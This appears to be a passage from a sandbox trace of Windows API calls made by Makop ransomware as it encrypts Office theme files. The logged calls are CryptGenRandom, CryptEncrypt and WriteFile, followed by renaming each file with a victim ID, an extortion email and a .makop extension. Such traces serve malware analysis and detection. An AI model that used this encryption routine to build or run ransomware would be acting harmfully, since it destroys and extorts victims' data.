hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5093, lpOverlapped=0x0) returned 1 [0095.848] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x50a0) returned 1 [0095.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.849] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x50a0, lpOverlapped=0x0) returned 1 [0095.849] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.849] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.849] SetEndOfFile (hFile=0x138) returned 1 [0095.856] GetProcessHeap () returned 0x48a0000 [0095.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.856] GetProcessHeap () returned 0x48a0000 [0095.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.856] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0095.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.857] CloseHandle (hObject=0x138) returned 1 [0095.857] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.857] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.857] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0095.857] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM") returned 64 [0095.858] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*") returned 68 [0095.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.858] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.858] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0095.858] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned 77 [0095.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.859] GetProcessHeap () returned 0x48a0000 [0095.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.859] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.859] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0095.863] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.863] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.863] GetProcessHeap () returned 0x48a0000 [0095.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.863] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.864] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.864] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.865] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.865] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.865] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.865] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.865] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.866] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.866] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc2ba, lpOverlapped=0x0) returned 1 [0095.868] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc2c0, dwBufLen=0xc2c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc2c0) returned 1 [0095.868] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.868] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc2c0, lpOverlapped=0x0) returned 1 [0095.869] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.869] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xc394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.869] SetEndOfFile (hFile=0x138) returned 1 [0095.877] GetProcessHeap () returned 0x48a0000 [0095.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.877] GetProcessHeap () returned 0x48a0000 [0095.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.877] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.878] CloseHandle (hObject=0x138) returned 1 [0095.878] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0095.879] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0095.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.879] GetProcessHeap () returned 0x48a0000 [0095.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.879] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.879] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.880] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0095.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.897] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.897] GetProcessHeap () returned 0x48a0000 [0095.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.898] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.898] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.898] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.898] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.898] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.898] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.898] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.899] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.899] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.899] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.899] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x227, lpOverlapped=0x0) returned 1 [0095.899] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0095.899] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.899] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0095.900] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.900] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.900] SetEndOfFile (hFile=0x138) returned 1 [0095.906] GetProcessHeap () returned 0x48a0000 [0095.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.907] GetProcessHeap () returned 0x48a0000 [0095.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.911] CloseHandle (hObject=0x138) returned 1 [0095.912] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.912] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0095.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.912] GetProcessHeap () returned 0x48a0000 [0095.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.912] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.912] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.913] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.917] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.917] GetProcessHeap () returned 0x48a0000 [0095.917] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.917] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.917] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.917] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.917] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.917] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.917] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.918] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.918] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.918] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x618, lpOverlapped=0x0) returned 1 [0095.918] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x620) returned 1 [0095.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.918] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x620, lpOverlapped=0x0) returned 1 [0095.919] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.919] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.919] SetEndOfFile (hFile=0x138) returned 1 [0095.926] GetProcessHeap () returned 0x48a0000 [0095.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.926] GetProcessHeap () returned 0x48a0000 [0095.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.926] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0095.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.927] CloseHandle (hObject=0x138) returned 1 [0095.927] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.927] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0095.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.928] GetProcessHeap () returned 0x48a0000 [0095.928] RtlAllocateHeap 